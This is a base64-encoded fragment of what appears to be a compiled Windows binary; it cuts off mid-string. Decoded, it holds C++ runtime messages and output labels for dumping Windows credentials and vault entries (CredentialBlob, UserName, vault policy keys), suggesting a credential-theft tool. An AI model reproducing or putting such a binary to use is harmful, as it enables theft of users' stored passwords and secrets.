dXJkYXkAAAAARnJpZGF5AABUaHVyc2RheQAAAABXZWRuZXNkYXkAAABUdWVzZGF5AE1vbmRheQAAU3VuZGF5AABTYXQARnJpAFRodQBXZWQAVHVlAE1vbgBTdW4ASwBFAFIATgBFAEwAMwAyAC4ARABMAEwAAAAAAEZsc0ZyZWUARmxzU2V0VmFsdWUARmxzR2V0VmFsdWUARmxzQWxsb2MAAAAAAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8APQAAAGMAYwBzAAAAVQBUAEYALQA4AAAAVQBUAEYALQAxADYATABFAAAAAABVAE4ASQBDAE8ARABFAAAAcgB1AG4AdABpAG0AZQAgAGUAcgByAG8AcgAgAAAAAAANAAoAAAAAAFQATABPAFMAUwAgAGUAcgByAG8AcgANAAoAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAUgA2ADAAMwAxAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIAB0AGgAZQAgAEMAUgBUACAAbQBvAHIAZQAgAHQAaABhAG4AIABvAG4AYwBlAC4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4ADQAKAAAAAABSADYAMAAzADAADQAKAC0AIABDAFIAVAAgAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkAA0ACgAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADcADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAbQB1AGwAdABpAHQAaAByAGUAYQBkACAAbABvAGMAawAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIAB0AGgAcgBlAGEAZAAgAGQAYQB0AGEADQAKAAAAUgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAUgA2ADAAMAA5AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0AA0ACgAAAFIANgAwADAAOAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGEAcgBnAHUAbQBlAG4AdABzAA0ACgAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAOOICEAgAAADg4QIQCQAAAIjhAhAKAAAAQOECEBAAAADo4AIQEQAAAIjgAhASAAAAQOACEBMAAADo3wIQGAAAAHjfAhAZAAAAKN8CEBoAAAC43gIQGwAAAEjeAhAcAAAA+N0CEB4AAAC43QIQHwAAAPDcAhAgAAAAiNwCECEAAACY2gIQeAAAAHTaAhB5AAAAWNoCEHoAAAA82gIQ/AAAADTaAhD/AAAAFNoCEE0AaQBjAHIAbwBzAG8AZgB0ACAAVgBpAHMAdQBhAGwAIABDACsAKwAgAFIAdQBuAHQAaQBtAGUAIABMAGkAYgByAGEAcgB5AAAAAAAuAC4ALgAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADACAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACTAADACAAAAAAAAAC0AgDACAAAAAAAAAC1AgDACAAAAAAAAAADAAAACQAAAJAAAAAMAAAAIENvbXBsZXRlIE9iamVjdCBMb2NhdG9yJwAAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAgQmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICgAIFR5cGUgRGVzY3JpcHRvcicAAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAGBvbW5pIGNhbGxzaWcnAAAgZGVsZXRlW10AAAAgbmV3W10AAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnAGBsb2NhbCB2ZnRhYmxlJwBgUlRUSQAAAGBFSABgdWR0IHJldHVybmluZycAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZiYXNlIGRlc3RydWN0b3InAABgc3RyaW5nJwAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgdHlwZW9mJwAAAABgdmNhbGwnAGB2YnRhYmxlJwAAAGB2ZnRhYmxlJwAAAF49AAB8PQAAJj0AADw8PQA+Pj0AJT0AAC89AAAtPQAAKz0AACo9AAB8fAAAJiYAAHwAAABeAAAAfgAAACgpAAAsAAAAPj0AAD4AAAA8PQAAPAAAACUAAAAvAAAALT4qACYAAAArAAAALQAAAC0tAAArKwAAKgAAAC0+AABvcGVyYXRvcgAAAABbXQAAIT0AAD09AAAhAAAAPDwAAD4+AAAgZGVsZXRlACBuZXcAAAAAX191bmFsaWduZWQAX19yZXN0cmljdAAAX19wdHI2NABfX2VhYmkAAF9fY2xyY2FsbAAAAF9fZmFzdGNhbGwAAF9fdGhpc2NhbGwAAF9fc3RkY2FsbAAAAF9fcGFzY2FsAAAAAF9fY2RlY2wAX19iYXNlZCgAAAAANOoCECzqAhAg6gIQFOoCEAjqAhD86QIQ8OkCEOjpAhDg6QIQ1OkCEMjpAhDa2QIQwOkCELjpAhDY2QIQtOkCELDpAhCs6QIQqOkCEKTpAhCg6QIQlOkCEJDpAhCM6QIQiOkCEITpAhCA6QIQfOkCEHjpAhB06QIQcOkCEGzpAhBo6QIQZOkCEGDpAhBc6QIQWOkCEFTpAhBQ6QIQTOkCEEjpAhBE6QIQQOkCEDzpAhA46QIQNOkCEDDpAhAs6QIQKOkCECTpAhAg6QIQHOkCEBjpAhAM6QIQAOkCEPjoAhDs6AIQ1OgCEMjoAhC06AIQlOgCEHToAhBU6AIQNOgCEBToAhDw5wIQ1OcCELDnAhCQ5wIQaOcCEEznAhA85wIQOOcCEDDnAhAg5wIQ/OYCEPTmAhDo5gIQ2OYCELzmAhCc5gIQdOYCEEzmAhAk5gIQ+OUCENzlAhC45QIQlOUCEGjlAhA85QIQIOUCENrZAhAM5QIQ8OQCENzkAhC85AIQoOQCEAAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/R2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AR2V0VXNlck9iamVjdEluZm9ybWF0aW9uVwAAAEdldExhc3RBY3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAFUAUwBFAFIAMwAyAC4ARABMAEwAAAAAAEMATwBOAE8AVQBUACQAAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAJTA0aHUlMDJodSUwMmh1JTAyaHUlMDJodSUwMmh1WgAAAAAAJQAqAHMAKgAqAEMAUgBFAEQARQBOAFQASQBBAEwAKgAqAAoAAAAAACUAKgBzACAAIABjAHIAZQBkAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFUAbgBrADAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAKAAAAAAAAACUAKgBzACAAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgADoAIAAAAAAACgAAACUAKgBzACAAIAB1AG4AawBGAGwAYQBnAHMATwByAFMAaQB6AGUAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABQAGUAcgBzAGkAcwB0ACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABBAHQAdAByAGkAYgB1AHQAZQBDAG8AdQBuAHQAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAxACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABUAGEAcgBnAGUAdABBAGwAaQBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwBvAG0AbQBlAG4AdAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFUAbgBrAEQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAQwByAGUAZABlAG4AdABpAGEAbABCAGwAbwBiACAAOgAgAAAAAAAlAHcAWgAAACUAKgBzACAAIABBAHQAdAByAGkAYgB1AHQAZQBzACAAIAAgACAAIAA6ACAAAAAAACUAdQAgAGEAdAB0AHIAaQBiAHUAdABlAHMAKABzACkACgAAACUAKgBzACoAKgBBAFQAVABSAEkAQgBVAFQARQAqACoACgAAACUAKgBzACAAIABGAGwAYQBnAHMAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAFYAYQBsAHUAZQAgADoAIAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAqACoACgAAAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB2AGEAdQBsAHQAIAAgACAAOgAgAAAAJQAqAHMAIAAgAE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoAAAAAACUAKgBzACAAIAB1AG4AawAwAC8AMQAvADIAOgAgACUAMAA4AHgALwAlADAAOAB4AC8AJQAwADgAeAAKAAAAAAAlACoAcwAqACoAVgBBAFUATABUACAAUABPAEwASQBDAFkAIABLAEUAWQAqACoACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAxACAAIAA6ACAAAAAlACoAcwAqACoAVgBBAFUATABUACAAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAJQAqAHMAIAAgAFMAYwBoAGUAbQBhAEkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAdQBuAGsAMgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAEYAcgBpAGUAbgBkAGwAeQBOAGEAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEEAdAB0AHIAaQBiAHUAdABlAHMATQBhAHAAUwBpAHoAZQAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAAqACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlADMAdQAgAEAAIABvAGYAZgBzAGUAdAAgACUAMAA4AHgAIAAtACAAJQB1ACAAIAAoAHUAbgBrACAAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACAAQQBUAFQAUgBJAEIAVQBUAEUAKgAqAAoAAAAAACUAKgBzACAAIABpAGQAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAASQBWACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABEAGEAdABhACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACAAQwBMAEUAQQBSACAAQQBUAFQAUgBJAEIAVQBUAEUAUwAqACoACgAAACUAKgBzACAAIAB2AGUAcgBzAGkAbwBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAYwBvAHUAbgB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHUAbgBrACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIAAqACAAAAByAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAOgAgAAAAAABpAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAOgAgAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAOgAgAAAAAABwAHIAbwBwAGUAcgB0AHkAIAAlADMAdQAgACAAOgAgAAAAAAAlAHMAAAAAAEMAQQBMAEcAXwBFAEMARABTAEEAAAAAAEMAQQBMAEcAXwBFAEMATQBRAFYAAAAAAEMAQQBMAEcAXwBFAEMARABIAAAAQwBBAEwARwBfAFMASABBAF8ANQAxADIAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADMAOAA0AAAAAABDAEEATABHAF8AUwBIAEEAXwAyADUANgAAAAAAQwBBAEwARwBfAEEARQBTAAAAAABDAEEATABHAF8AQQBFAFMAXwAyADUANgAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQA5ADIAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADEAMgA4AAAAAABDAEEATABHAF8ASABBAFMASABfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAEMAQQBMAEcAXwBUAEwAUwAxAFAAUgBGAAAAAABDAEEATABHAF8ASABNAEEAQwAAAEMAQQBMAEcAXwBSAEMANQAAAAAAQwBBAEwARwBfAFQATABTADEAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFMAUwBMADIAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFAAQwBUADEAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAEUATgBDAF8ASwBFAFkAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAEMAXwBLAEUAWQAAAEMAQQBMAEcAXwBTAEMASABBAE4ATgBFAEwAXwBNAEEAUwBUAEUAUgBfAEgAQQBTAEgAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAABDAEEATABHAF8AUwBTAEwAMwBfAFMASABBAE0ARAA1AAAAAABDAEEATABHAF8AQwBZAEwASQBOAEsAXwBNAEUASwAAAEMAQQBMAEcAXwBUAEUASwAAAAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAEMAQQBMAEcAXwBIAFUARwBIAEUAUwBfAE0ARAA1AAAAQwBBAEwARwBfAEsARQBBAF8ASwBFAFkAWAAAAEMAQQBMAEcAXwBBAEcAUgBFAEUARABLAEUAWQBfAEEATgBZAAAAAABDAEEATABHAF8ARABIAF8ARQBQAEgARQBNAAAAQwBBAEwARwBfAEQASABfAFMARgAAAAAAQwBBAEwARwBfAFMARQBBAEwAAABDAEEATABHAF8AUgBDADQAAAAAAEMAQQBMAEcAXwBSAEMAMgAAAAAAQwBBAEwARwBfAEQARQBTAFgAAABDAEEATABHAF8AMwBEAEUAUwAAAEMAQQBMAEcAXwAzAEQARQBTAF8AMQAxADIAAABDAEEATABHAF8ARABFAFMAAAAAAEMAQQBMAEcAXwBSAFMAQQBfAEsARQBZAFgAAABDAEEATABHAF8ATgBPAF8AUwBJAEcATgAAAAAAQwBBAEwARwBfAEQAUwBTAF8AUwBJAEcATgAAAEMAQQBMAEcAXwBSAFMAQQBfAFMASQBHAE4AAABDAEEATABHAF8ATQBBAEMAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAQwBBAEwARwBfAE0ARAA1AAAAAABDAEEATABHAF8ATQBEADQAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAFAAUgBPAFYAXwBSAEUAUABMAEEAQwBFAF8ATwBXAEYAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIATgBHAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8ARgBVAEwATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBTAEkARwAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBTAEkARwAAAFAAUgBPAFYAXwBEAFMAUwBfAEQASAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMAQwBIAEEATgBOAEUATAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAE0AUwBfAEUAWABDAEgAQQBOAEcARQAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwB